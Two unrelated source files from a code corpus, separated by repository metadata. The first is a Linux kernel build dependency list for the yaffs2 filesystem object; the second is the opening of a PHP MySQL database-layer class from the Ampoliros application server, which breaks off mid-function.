$(wildcard include/config/mach/htc/opal.h) \
$(wildcard include/config/mach/touchbook.h) \
$(wildcard include/config/mach/latte.h) \
$(wildcard include/config/mach/xa200.h) \
$(wildcard include/config/mach/nimrod.h) \
$(wildcard include/config/mach/cc9p9215/3g.h) \
$(wildcard include/config/mach/cc9p9215/3gjs.h) \
$(wildcard include/config/mach/tk71.h) \
$(wildcard include/config/mach/comham3525.h) \
$(wildcard include/config/mach/mx31erebus.h) \
$(wildcard include/config/mach/mcardmx27.h) \
$(wildcard include/config/mach/paradise.h) \
$(wildcard include/config/mach/tide.h) \
$(wildcard include/config/mach/wzl2440.h) \
$(wildcard include/config/mach/sdrdemo.h) \
$(wildcard include/config/mach/ethercan2.h) \
$(wildcard include/config/mach/ecmimg20.h) \
$(wildcard include/config/mach/omap/dragon.h) \
$(wildcard include/config/mach/halo.h) \
$(wildcard include/config/mach/huangshan.h) \
$(wildcard include/config/mach/vl/ma2sc.h) \
$(wildcard include/config/mach/raumfeld/rc.h) \
$(wildcard include/config/mach/raumfeld/connector.h) \
$(wildcard include/config/mach/raumfeld/speaker.h) \
$(wildcard include/config/mach/multibus/master.h) \
$(wildcard include/config/mach/multibus/pbk.h) \
$(wildcard include/config/mach/tnetv107x.h) \
$(wildcard include/config/mach/snake.h) \
$(wildcard include/config/mach/cwmx27.h) \
$(wildcard include/config/mach/sch/m480.h) \
$(wildcard include/config/mach/platypus.h) \
$(wildcard include/config/mach/pss2.h) \
$(wildcard include/config/mach/davinci/apm150.h) \
$(wildcard include/config/mach/str9100.h) \
$(wildcard include/config/mach/net5big.h) \
$(wildcard include/config/mach/seabed9263.h) \
$(wildcard include/config/mach/mx51/m2id.h) \
$(wildcard include/config/mach/octvocplus/eb.h) \
$(wildcard include/config/mach/klk/firefox.h) \
$(wildcard include/config/mach/klk/wirma.h) \
$(wildcard include/config/mach/klk/wirma/mmi.h) \
$(wildcard include/config/mach/supersonic.h) \
$(wildcard include/config/mach/liberty.h) \
$(wildcard include/config/mach/mh355.h) \
$(wildcard include/config/mach/pc7802.h) \
$(wildcard include/config/mach/gnet/sgc.h) \
$(wildcard include/config/mach/einstein15.h) \
$(wildcard include/config/mach/cmpd.h) \
$(wildcard include/config/mach/davinci/hase1.h) \
$(wildcard include/config/mach/lgeincitephone.h) \
$(wildcard include/config/mach/ea313x.h) \
$(wildcard include/config/mach/fwbd/39064.h) \
$(wildcard include/config/mach/fwbd/390128.h) \
$(wildcard include/config/mach/pelco/moe.h) \
$(wildcard include/config/mach/minimix27.h) \
$(wildcard include/config/mach/omap3/thunder.h) \
$(wildcard include/config/mach/mx27amata.h) \
$(wildcard include/config/mach/bgat1.h) \
$(wildcard include/config/mach/buzz.h) \
$(wildcard include/config/mach/mb9g20.h) \
$(wildcard include/config/mach/yushan.h) \
$(wildcard include/config/mach/lizard.h) \
$(wildcard include/config/mach/omap3polycom.h) \
$(wildcard include/config/mach/smdkv210.h) \
$(wildcard include/config/mach/bravo.h) \
$(wildcard include/config/mach/siogentoo1.h) \
$(wildcard include/config/mach/siogentoo2.h) \
$(wildcard include/config/mach/sm3k.h) \
$(wildcard include/config/mach/acer/tempo/f900.h) \
$(wildcard include/config/mach/sst61vc010/dev.h) \
$(wildcard include/config/mach/glittertind.h) \
$(wildcard include/config/mach/omap/zoom3.h) \
$(wildcard include/config/mach/omap/3630sdp.h) \
$(wildcard include/config/mach/cybook2440.h) \
$(wildcard include/config/mach/torino/s.h) \
$(wildcard include/config/mach/havana.h) \
$(wildcard include/config/mach/beaumont/11.h) \
$(wildcard include/config/mach/vanguard.h) \
$(wildcard include/config/mach/s5pc110/draco.h) \
$(wildcard include/config/mach/cartesio/two.h) \
$(wildcard include/config/mach/aster.h) \
$(wildcard include/config/mach/voguesv210.h) \
$(wildcard include/config/mach/acm500x.h) \
$(wildcard include/config/mach/km9260.h) \
$(wildcard include/config/mach/nideflexg1.h) \
$(wildcard include/config/mach/ctera/plug/io.h) \
$(wildcard include/config/mach/smartq7.h) \
$(wildcard include/config/mach/at91sam9g10ek2.h) \
$(wildcard include/config/mach/asusp527.h) \
$(wildcard include/config/mach/at91sam9g20mpm2.h) \
$(wildcard include/config/mach/topasa900.h) \
$(wildcard include/config/mach/electrum/100.h) \
$(wildcard include/config/mach/mx51grb.h) \
$(wildcard include/config/mach/xea300.h) \
$(wildcard include/config/mach/htcstartrek.h) \
$(wildcard include/config/mach/lima.h) \
$(wildcard include/config/mach/csb740.h) \
$(wildcard include/config/mach/usb/s8815.h) \
$(wildcard include/config/mach/watson/efm/plugin.h) \
$(wildcard include/config/mach/milkyway.h) \
$(wildcard include/config/mach/g4evm.h) \
$(wildcard include/config/mach/picomod6.h) \
$(wildcard include/config/mach/omapl138/hawkboard.h) \
$(wildcard include/config/mach/ip6000.h) \
$(wildcard include/config/mach/ip6010.h) \
$(wildcard include/config/mach/utm400.h) \
$(wildcard include/config/mach/omap3/zybex.h) \
$(wildcard include/config/mach/wireless/space.h) \
$(wildcard include/config/mach/sx560.h) \
$(wildcard include/config/mach/ts41x.h) \
$(wildcard include/config/mach/elphel10373.h) \
$(wildcard include/config/mach/rhobot.h) \
$(wildcard include/config/mach/mx51/refresh.h) \
$(wildcard include/config/mach/ls9260.h) \
$(wildcard include/config/mach/shank.h) \
$(wildcard include/config/mach/qsd8x50/st1.h) \
$(wildcard include/config/mach/at91sam9m10ekes.h) \
$(wildcard include/config/mach/hiram.h) \
$(wildcard include/config/mach/phy3250.h) \
$(wildcard include/config/mach/ea3250.h) \
$(wildcard include/config/mach/fdi3250.h) \
$(wildcard include/config/mach/whitestone.h) \
$(wildcard include/config/mach/at91sam9263nit.h) \
$(wildcard include/config/mach/ccmx51.h) \
$(wildcard include/config/mach/ccmx51js.h) \
$(wildcard include/config/mach/ccwmx51.h) \
$(wildcard include/config/mach/ccwmx51js.h) \
$(wildcard include/config/mach/mini6410.h) \
$(wildcard include/config/mach/tiny6410.h) \
$(wildcard include/config/mach/nano6410.h) \
$(wildcard include/config/mach/at572d940hfnldb.h) \
$(wildcard include/config/mach/htcleo.h) \
$(wildcard include/config/mach/avp13.h) \
$(wildcard include/config/mach/xxsvideod.h) \
$(wildcard include/config/mach/vpnext.h) \
$(wildcard include/config/mach/swarco/itc3.h) \
$(wildcard include/config/mach/tx51.h) \
$(wildcard include/config/mach/dolby/cat1021.h) \
$(wildcard include/config/mach/mx28evk.h) \
$(wildcard include/config/mach/phoenix260.h) \
$(wildcard include/config/mach/uvaca/stork.h) \
$(wildcard include/config/mach/smartq5.h) \
$(wildcard include/config/mach/all3078.h) \
$(wildcard include/config/mach/ctera/2bay/ds.h) \
$(wildcard include/config/mach/siogentoo3.h) \
$(wildcard include/config/mach/epb5000.h) \
$(wildcard include/config/mach/hy9263.h) \
$(wildcard include/config/mach/acer/tempo/m900.h) \
$(wildcard include/config/mach/acer/tempo/dx900.h) \
$(wildcard include/config/mach/acer/tempo/x960.h) \
$(wildcard include/config/mach/acer/eten/v900.h) \
$(wildcard include/config/mach/acer/eten/x900.h) \
$(wildcard include/config/mach/bonnell.h) \
$(wildcard include/config/mach/oht/mx27.h) \
$(wildcard include/config/mach/htcquartz.h) \
$(wildcard include/config/mach/davinci/dm6467tevm.h) \
$(wildcard include/config/mach/c3ax03.h) \
$(wildcard include/config/mach/mxt/td60.h) \
$(wildcard include/config/mach/esyx.h) \
$(wildcard include/config/mach/dove/db2.h) \
$(wildcard include/config/mach/bulldog.h) \
$(wildcard include/config/mach/derell/me2000.h) \
$(wildcard include/config/mach/bcmring/base.h) \
$(wildcard include/config/mach/bcmring/evm.h) \
$(wildcard include/config/mach/bcmring/evm/jazz.h) \
$(wildcard include/config/mach/bcmring/sp.h) \
$(wildcard include/config/mach/bcmring/sv.h) \
$(wildcard include/config/mach/bcmring/sv/jazz.h) \
$(wildcard include/config/mach/bcmring/tablet.h) \
$(wildcard include/config/mach/bcmring/vp.h) \
$(wildcard include/config/mach/bcmring/evm/seikor.h) \
$(wildcard include/config/mach/bcmring/sp/wqvga.h) \
$(wildcard include/config/mach/bcmring/custom.h) \
$(wildcard include/config/mach/acer/s200.h) \
$(wildcard include/config/mach/bt270.h) \
$(wildcard include/config/mach/iseo.h) \
$(wildcard include/config/mach/cezanne.h) \
$(wildcard include/config/mach/lucca.h) \
$(wildcard include/config/mach/supersmart.h) \
$(wildcard include/config/mach/cs/misano.h) \
$(wildcard include/config/mach/magnolia2.h) \
$(wildcard include/config/mach/emxx.h) \
$(wildcard include/config/mach/outlaw.h) \
$(wildcard include/config/mach/riot/bei2.h) \
$(wildcard include/config/mach/riot/vox.h) \
$(wildcard include/config/mach/riot/x37.h) \
$(wildcard include/config/mach/mega25mx.h) \
$(wildcard include/config/mach/benzina2.h) \
$(wildcard include/config/mach/ignite.h) \
$(wildcard include/config/mach/foggia.h) \
$(wildcard include/config/mach/arezzo.h) \
$(wildcard include/config/mach/leica/skywalker.h) \
$(wildcard include/config/mach/jacinto2/jamr.h) \
$(wildcard include/config/mach/gts/nova.h) \
$(wildcard include/config/mach/p3600.h) \
$(wildcard include/config/mach/dlt2.h) \
$(wildcard include/config/mach/df3120.h) \
$(wildcard include/config/mach/ecucore/9g20.h) \
$(wildcard include/config/mach/nautel/lpc3240.h) \
$(wildcard include/config/mach/glacier.h) \
$(wildcard include/config/mach/phrazer/bulldog.h) \
$(wildcard include/config/mach/omap3/bulldog.h) \
$(wildcard include/config/mach/pca101.h) \
$(wildcard include/config/mach/buzzc.h) \
$(wildcard include/config/mach/sasie2.h) \
$(wildcard include/config/mach/davinci/cio.h) \
$(wildcard include/config/mach/smartmeter/dl.h) \
$(wildcard include/config/mach/wzl6410.h) \
$(wildcard include/config/mach/wzl6410m.h) \
$(wildcard include/config/mach/wzl6410f.h) \
$(wildcard include/config/mach/wzl6410i.h) \
$(wildcard include/config/mach/spacecom1.h) \
$(wildcard include/config/mach/pingu920.h) \
$(wildcard include/config/mach/bravoc.h) \
$(wildcard include/config/mach/cybo2440.h) \
$(wildcard include/config/mach/vdssw.h) \
$(wildcard include/config/mach/romulus.h) \
$(wildcard include/config/mach/omap/magic.h) \
$(wildcard include/config/mach/eltd100.h) \
$(wildcard include/config/mach/capc7117.h) \
$(wildcard include/config/mach/swan.h) \
$(wildcard include/config/mach/veu.h) \
$(wildcard include/config/mach/rm2.h) \
$(wildcard include/config/mach/tt2100.h) \
$(wildcard include/config/mach/venice.h) \
$(wildcard include/config/mach/pc7323.h) \
$(wildcard include/config/mach/masp.h) \
$(wildcard include/config/mach/fujitsu/tvstbsoc.h) \
$(wildcard include/config/mach/fujitsu/tvstbsoc1.h) \
$(wildcard include/config/mach/lexikon.h) \
$(wildcard include/config/mach/mini2440v2.h) \
$(wildcard include/config/mach/icontrol.h) \
$(wildcard include/config/mach/sheevad.h) \
$(wildcard include/config/mach/qsd8x50a/st1/1.h) \
$(wildcard include/config/mach/qsd8x50a/st1/5.h) \
$(wildcard include/config/mach/bee.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/sizes.h \
include/asm-generic/memory_model.h \
$(wildcard include/config/flatmem.h) \
$(wildcard include/config/sparsemem/vmemmap.h) \
$(wildcard include/config/sparsemem.h) \
include/linux/irqflags.h \
$(wildcard include/config/trace/irqflags.h) \
$(wildcard include/config/irqsoff/tracer.h) \
$(wildcard include/config/preempt/tracer.h) \
$(wildcard include/config/trace/irqflags/support.h) \
$(wildcard include/config/x86.h) \
include/linux/typecheck.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/irqflags.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/ptrace.h \
$(wildcard include/config/arm/thumb.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/hwcap.h \
include/asm-generic/cmpxchg-local.h \
include/asm-generic/cmpxchg.h \
include/asm-generic/bitops/non-atomic.h \
include/asm-generic/bitops/fls64.h \
include/asm-generic/bitops/sched.h \
include/asm-generic/bitops/hweight.h \
include/asm-generic/bitops/lock.h \
include/linux/log2.h \
$(wildcard include/config/arch/has/ilog2/u32.h) \
$(wildcard include/config/arch/has/ilog2/u64.h) \
include/linux/ratelimit.h \
include/linux/param.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/param.h \
$(wildcard include/config/hz.h) \
include/linux/dynamic_printk.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/byteorder.h \
include/linux/byteorder/little_endian.h \
include/linux/swab.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/swab.h \
include/linux/byteorder/generic.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/bug.h \
$(wildcard include/config/bug.h) \
$(wildcard include/config/debug/bugverbose.h) \
include/asm-generic/bug.h \
$(wildcard include/config/generic/bug.h) \
$(wildcard include/config/generic/bug/relative/pointers.h) \
include/linux/mm.h \
$(wildcard include/config/sysctl.h) \
$(wildcard include/config/stack/growsup.h) \
$(wildcard include/config/highmem.h) \
$(wildcard include/config/swap.h) \
$(wildcard include/config/shmem.h) \
$(wildcard include/config/arch/populates/node/map.h) \
$(wildcard include/config/have/arch/early/pfn/to/nid.h) \
$(wildcard include/config/proc/fs.h) \
$(wildcard include/config/ia64.h) \
$(wildcard include/config/debug/pagealloc.h) \
$(wildcard include/config/hibernation.h) \
include/linux/errno.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/errno.h \
include/asm-generic/errno.h \
include/asm-generic/errno-base.h \
include/linux/gfp.h \
$(wildcard include/config/zone/dma32.h) \
include/linux/mmzone.h \
$(wildcard include/config/force/max/zoneorder.h) \
$(wildcard include/config/unevictable/lru.h) \
$(wildcard include/config/memory/hotplug.h) \
$(wildcard include/config/flat/node/mem/map.h) \
$(wildcard include/config/cgroup/mem/res/ctlr.h) \
$(wildcard include/config/have/memory/present.h) \
$(wildcard include/config/need/node/memmap/size.h) \
$(wildcard include/config/need/multiple/nodes.h) \
$(wildcard include/config/sparsemem/extreme.h) \
$(wildcard include/config/nodes/span/other/nodes.h) \
$(wildcard include/config/holes/in/zone.h) \
$(wildcard include/config/arch/has/holes/memorymodel.h) \
include/linux/spinlock.h \
$(wildcard include/config/debug/spinlock.h) \
$(wildcard include/config/generic/lockbreak.h) \
$(wildcard include/config/preempt.h) \
$(wildcard include/config/debug/lock/alloc.h) \
include/linux/preempt.h \
$(wildcard include/config/debug/preempt.h) \
$(wildcard include/config/preempt/notifiers.h) \
include/linux/thread_info.h \
$(wildcard include/config/compat.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/thread_info.h \
$(wildcard include/config/arm/thumbee.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/fpstate.h \
$(wildcard include/config/vfpv3.h) \
$(wildcard include/config/iwmmxt.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/domain.h \
$(wildcard include/config/verify/permission/fault.h) \
$(wildcard include/config/io/36.h) \
include/linux/list.h \
$(wildcard include/config/debug/list.h) \
include/linux/poison.h \
include/linux/prefetch.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/processor.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/cache.h \
$(wildcard include/config/arm/l1/cache/shift.h) \
$(wildcard include/config/aeabi.h) \
include/linux/stringify.h \
include/linux/bottom_half.h \
include/linux/spinlock_types.h \
include/linux/spinlock_types_up.h \
include/linux/lockdep.h \
$(wildcard include/config/lockdep.h) \
$(wildcard include/config/lock/stat.h) \
$(wildcard include/config/generic/hardirqs.h) \
include/linux/spinlock_up.h \
include/linux/spinlock_api_up.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/atomic.h \
include/asm-generic/atomic.h \
include/linux/wait.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/current.h \
include/linux/cache.h \
$(wildcard include/config/arch/has/cache/line/size.h) \
include/linux/threads.h \
$(wildcard include/config/nr/cpus.h) \
$(wildcard include/config/base/small.h) \
include/linux/numa.h \
$(wildcard include/config/nodes/shift.h) \
include/linux/init.h \
$(wildcard include/config/modules.h) \
$(wildcard include/config/hotplug.h) \
include/linux/seqlock.h \
include/linux/nodemask.h \
include/linux/bitmap.h \
include/linux/string.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/string.h \
include/linux/pageblock-flags.h \
$(wildcard include/config/hugetlb/page.h) \
$(wildcard include/config/hugetlb/page/size/variable.h) \
include/linux/bounds.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/page.h \
$(wildcard include/config/cpu/copy/v3.h) \
$(wildcard include/config/cpu/copy/v4wt.h) \
$(wildcard include/config/cpu/copy/v4wb.h) \
$(wildcard include/config/cpu/copy/feroceon.h) \
$(wildcard include/config/cpu/xscale.h) \
$(wildcard include/config/cpu/copy/v6.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/glue.h \
$(wildcard include/config/cpu/arm610.h) \
$(wildcard include/config/cpu/arm710.h) \
$(wildcard include/config/cpu/abrt/lv4t.h) \
$(wildcard include/config/cpu/abrt/ev4.h) \
$(wildcard include/config/cpu/abrt/ev4t.h) \
$(wildcard include/config/cpu/abrt/ev5tj.h) \
$(wildcard include/config/cpu/abrt/ev5t.h) \
$(wildcard include/config/cpu/abrt/ev6.h) \
$(wildcard include/config/cpu/abrt/ev7.h) \
$(wildcard include/config/cpu/pabrt/ifar.h) \
$(wildcard include/config/cpu/pabrt/noifar.h) \
include/asm-generic/page.h \
include/linux/memory_hotplug.h \
$(wildcard include/config/have/arch/nodedata/extension.h) \
$(wildcard include/config/memory/hotremove.h) \
include/linux/notifier.h \
include/linux/mutex.h \
$(wildcard include/config/debug/mutexes.h) \
include/linux/mutex-debug.h \
include/linux/rwsem.h \
$(wildcard include/config/rwsem/generic/spinlock.h) \
include/linux/rwsem-spinlock.h \
include/linux/srcu.h \
include/linux/topology.h \
$(wildcard include/config/sched/smt.h) \
$(wildcard include/config/sched/mc.h) \
include/linux/cpumask.h \
$(wildcard include/config/disable/obsolete/cpumask/functions.h) \
$(wildcard include/config/hotplug/cpu.h) \
$(wildcard include/config/cpumask/offstack.h) \
$(wildcard include/config/debug/per/cpu/maps.h) \
include/linux/smp.h \
$(wildcard include/config/use/generic/smp/helpers.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/topology.h \
include/asm-generic/topology.h \
include/linux/mmdebug.h \
$(wildcard include/config/debug/vm.h) \
$(wildcard include/config/debug/virtual.h) \
include/linux/rbtree.h \
include/linux/prio_tree.h \
include/linux/debug_locks.h \
$(wildcard include/config/debug/locking/api/selftests.h) \
include/linux/mm_types.h \
$(wildcard include/config/split/ptlock/cpus.h) \
$(wildcard include/config/mm/owner.h) \
$(wildcard include/config/mmu/notifier.h) \
include/linux/auxvec.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/auxvec.h \
include/linux/completion.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/mmu.h \
$(wildcard include/config/cpu/has/asid.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/pgtable.h \
include/asm-generic/4level-fixup.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/proc-fns.h \
$(wildcard include/config/cpu/32.h) \
$(wildcard include/config/cpu/arm7tdmi.h) \
$(wildcard include/config/cpu/arm720t.h) \
$(wildcard include/config/cpu/arm740t.h) \
$(wildcard include/config/cpu/arm9tdmi.h) \
$(wildcard include/config/cpu/arm920t.h) \
$(wildcard include/config/cpu/arm922t.h) \
$(wildcard include/config/cpu/arm925t.h) \
$(wildcard include/config/cpu/arm926t.h) \
$(wildcard include/config/cpu/arm940t.h) \
$(wildcard include/config/cpu/arm946e.h) \
$(wildcard include/config/cpu/arm1020.h) \
$(wildcard include/config/cpu/arm1020e.h) \
$(wildcard include/config/cpu/arm1022.h) \
$(wildcard include/config/cpu/arm1026.h) \
$(wildcard include/config/cpu/feroceon.h) \
$(wildcard include/config/cpu/v6.h) \
$(wildcard include/config/cpu/v7.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/cpu-single.h \
arch/arm/mach-msm/include/mach/vmalloc.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/pgtable-hwdef.h \
include/asm-generic/pgtable.h \
include/linux/page-flags.h \
$(wildcard include/config/pageflags/extended.h) \
$(wildcard include/config/ia64/uncached/allocator.h) \
$(wildcard include/config/s390.h) \
include/linux/vmstat.h \
$(wildcard include/config/vm/event/counters.h) \
include/linux/percpu.h \
include/linux/slab.h \
$(wildcard include/config/slab/debug.h) \
$(wildcard include/config/debug/objects.h) \
$(wildcard include/config/slub.h) \
$(wildcard include/config/slob.h) \
$(wildcard include/config/debug/slab.h) \
include/linux/slab_def.h \
include/linux/kmalloc_sizes.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/percpu.h \
include/asm-generic/percpu.h \
$(wildcard include/config/have/setup/per/cpu/area.h) \
include/linux/sched.h \
$(wildcard include/config/sched/debug.h) \
$(wildcard include/config/no/hz.h) \
$(wildcard include/config/detect/softlockup.h) \
$(wildcard include/config/core/dump/default/elf/headers.h) \
$(wildcard include/config/bsd/process/acct.h) \
$(wildcard include/config/taskstats.h) \
$(wildcard include/config/audit.h) \
$(wildcard include/config/inotify/user.h) \
$(wildcard include/config/epoll.h) \
$(wildcard include/config/posix/mqueue.h) \
$(wildcard include/config/keys.h) \
$(wildcard include/config/user/sched.h) \
$(wildcard include/config/sysfs.h) \
$(wildcard include/config/schedstats.h) \
$(wildcard include/config/task/delay/acct.h) \
$(wildcard include/config/fair/group/sched.h) \
$(wildcard include/config/rt/group/sched.h) \
$(wildcard include/config/blk/dev/io/trace.h) \
$(wildcard include/config/preempt/rcu.h) \
$(wildcard include/config/cc/stackprotector.h) \
$(wildcard include/config/x86/ptrace/bts.h) \
$(wildcard include/config/sysvipc.h) \
$(wildcard include/config/auditsyscall.h) \
$(wildcard include/config/rt/mutexes.h) \
$(wildcard include/config/task/xacct.h) \
$(wildcard include/config/cpusets.h) \
$(wildcard include/config/cgroups.h) \
$(wildcard include/config/futex.h) \
$(wildcard include/config/fault/injection.h) \
$(wildcard include/config/latencytop.h) \
$(wildcard include/config/function/graph/tracer.h) \
$(wildcard include/config/tracing.h) \
$(wildcard include/config/iowait/acct.h) \
$(wildcard include/config/have/unstable/sched/clock.h) \
$(wildcard include/config/preempt/bkl.h) \
$(wildcard include/config/group/sched.h) \
include/linux/capability.h \
$(wildcard include/config/security/file/capabilities.h) \
include/linux/timex.h \
include/linux/time.h \
include/linux/math64.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/div64.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/timex.h \
arch/arm/mach-msm/include/mach/timex.h \
include/linux/jiffies.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/cputime.h \
include/asm-generic/cputime.h \
include/linux/sem.h \
include/linux/ipc.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/ipcbuf.h \
include/linux/kref.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/sembuf.h \
include/linux/rcupdate.h \
$(wildcard include/config/classic/rcu.h) \
$(wildcard include/config/tree/rcu.h) \
include/linux/rcuclassic.h \
$(wildcard include/config/rcu/cpu/stall/detector.h) \
include/linux/signal.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/signal.h \
include/asm-generic/signal.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/sigcontext.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/siginfo.h \
include/asm-generic/siginfo.h \
include/linux/fs_struct.h \
include/linux/path.h \
include/linux/pid.h \
include/linux/proportions.h \
include/linux/percpu_counter.h \
include/linux/seccomp.h \
$(wildcard include/config/seccomp.h) \
include/linux/rtmutex.h \
$(wildcard include/config/debug/rt/mutexes.h) \
include/linux/plist.h \
$(wildcard include/config/debug/pi/list.h) \
include/linux/resource.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/resource.h \
include/asm-generic/resource.h \
include/linux/timer.h \
$(wildcard include/config/timer/stats.h) \
$(wildcard include/config/debug/objects/timers.h) \
include/linux/ktime.h \
$(wildcard include/config/ktime/scalar.h) \
include/linux/debugobjects.h \
$(wildcard include/config/debug/objects/free.h) \
include/linux/hrtimer.h \
$(wildcard include/config/high/res/timers.h) \
include/linux/task_io_accounting.h \
$(wildcard include/config/task/io/accounting.h) \
include/linux/kobject.h \
include/linux/sysfs.h \
include/linux/latencytop.h \
include/linux/cred.h \
$(wildcard include/config/security.h) \
include/linux/key.h \
include/linux/sysctl.h \
include/linux/aio.h \
$(wildcard include/config/aio.h) \
include/linux/workqueue.h \
include/linux/aio_abi.h \
include/linux/uio.h \
include/linux/vmalloc.h \
fs/yaffs2/yaffsinterface.h \
fs/yaffs2/yaffs_guts.h \
$(wildcard include/config/yaffs/no/yaffs1.h) \
$(wildcard include/config/yaffs/unicode.h) \
fs/yaffs2/devextras.h \
$(wildcard include/config/yaffs/provide/defs.h) \
include/linux/fs.h \
$(wildcard include/config/dnotify.h) \
$(wildcard include/config/quota.h) \
$(wildcard include/config/inotify.h) \
$(wildcard include/config/debug/writecount.h) \
$(wildcard include/config/file/locking.h) \
$(wildcard include/config/block.h) \
$(wildcard include/config/fs/xip.h) \
$(wildcard include/config/migration.h) \
include/linux/limits.h \
include/linux/ioctl.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/ioctl.h \
include/asm-generic/ioctl.h \
include/linux/kdev_t.h \
include/linux/dcache.h \
include/linux/rculist.h \
include/linux/stat.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/stat.h \
include/linux/radix-tree.h \
include/linux/semaphore.h \
include/linux/fiemap.h \
include/linux/quota.h \
include/linux/dqblk_xfs.h \
include/linux/dqblk_v1.h \
include/linux/dqblk_v2.h \
include/linux/dqblk_qtree.h \
include/linux/nfs_fs_i.h \
include/linux/nfs.h \
include/linux/sunrpc/msg_prot.h \
include/linux/fcntl.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/fcntl.h \
include/asm-generic/fcntl.h \
include/linux/err.h \
fs/yaffs2/yaffs_tagsvalidity.h \
fs/yaffs2/yaffs_getblockinfo.h \
fs/yaffs2/yaffs_tagscompat.h \
fs/yaffs2/yaffs_qsort.h \
fs/yaffs2/yaffs_nand.h \
fs/yaffs2/yaffs_checkptrw.h \
fs/yaffs2/yaffs_packedtags2.h \
fs/yaffs2/yaffs_ecc.h \
fs/yaffs2/yaffs_guts.o: $(deps_fs/yaffs2/yaffs_guts.o)
$(deps_fs/yaffs2/yaffs_guts.o):
|
HCDRJacob/wildfire-kernel
|
fs/yaffs2/.yaffs_guts.o.cmd
|
Batchfile
|
gpl-2.0
| 148,468
|
<?php
/*
*
* Ampoliros Application Server
*
* http://www.ampoliros.com
*
*
*
* Copyright (C) 2000-2004 Solarix
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
// $Id: DBLayer_mysql.php,v 1.7 2004-07-08 15:04:26 alex Exp $
package('com.solarix.ampoliros.db.drivers.mysql');
import('com.solarix.ampoliros.db.DBLayer');
import('carthag.db.DataAccessFactory');
/*!
@class dblayer_mysql
@abstract DbLayer for MySql.
*/
class DBLayer_mysql extends DBLayer {
public $layer = 'mysql';
public $fmtquote = "''";
public $fmttrue = 't';
public $fmtfalse = 'f';
//public $suppautoinc = true;
//public $suppblob = true;
private $lastquery = false;
public function dblayer_mysql($params) {
$this -> support['affrows'] = true;
$this -> support['transactions'] = false;
return $this -> dblayer($params);
}
function _CreateDB($params) {
$result = false;
if (!empty($params['dbname'])) {
$tmplink = @ mysql_connect($params['dbhost'], $params['dbuser'], $params['dbpass']);
if ($tmplink) {
if (mysql_query('CREATE DATABASE '.$params['dbname'], $tmplink))
$result = true;
else
$this -> mLastError = @ mysql_error($tmplink);
}
//@mysql_close( $tmplink );
}
return $result;
}
function _DropDB($params) {
$result = false;
if (!empty($params['dbname']))
$result = @ mysql_query('DROP DATABASE '.$params['dbname'], $this -> dbhandler);
return $result;
}
function _Connect() {
$result = @ mysql_connect($this -> dbhost, $this -> dbuser, $this -> dbpass);
if ($result != false) {
$this -> dbhandler = $result;
if (!@ mysql_select_db($this -> dbname, $this -> dbhandler))
$result = false;
}
return $result;
}
function _PConnect($params) {
$result = @ mysql_pconnect($this -> dbhost, $this -> dbuser, $this -> dbpass);
if ($result != false) {
$this -> dbhandler = $result;
if (!@ mysql_select_db($this -> dbname, $this -> dbhandler))
$result = false;
}
return $result;
}
function _Close() {
return true;
//return @mysql_close( $this->dbhandler );
}
function _Query($query) {
@ mysql_select_db($this -> dbname, $this -> dbhandler);
$this -> lastquery = @ mysql_query($query, $this -> dbhandler);
//if ( defined( 'DEBUG' ) and !$this->lastquery ) echo mysql_error();
if (@ mysql_error($this -> dbhandler)) {
import('com.solarix.ampoliros.io.log.Logger');
$this -> log = new Logger($this -> dblog);
$this -> log -> logevent('ampoliros.dblayer_mysql_library.dblayer_mysql_class._query', 'Error: '.@ mysql_error($this -> dbhandler), LOGGER_ERROR);
}
return $this -> lastquery;
}
function _AffectedRows($params) {
$result = false;
if ($this -> lastquery != false) {
$result = @ mysql_affected_rows($this -> dbhandler);
}
return $result;
}
function _DropTable($params) {
$result = false;
if (!empty($params['tablename']) and $this -> opened)
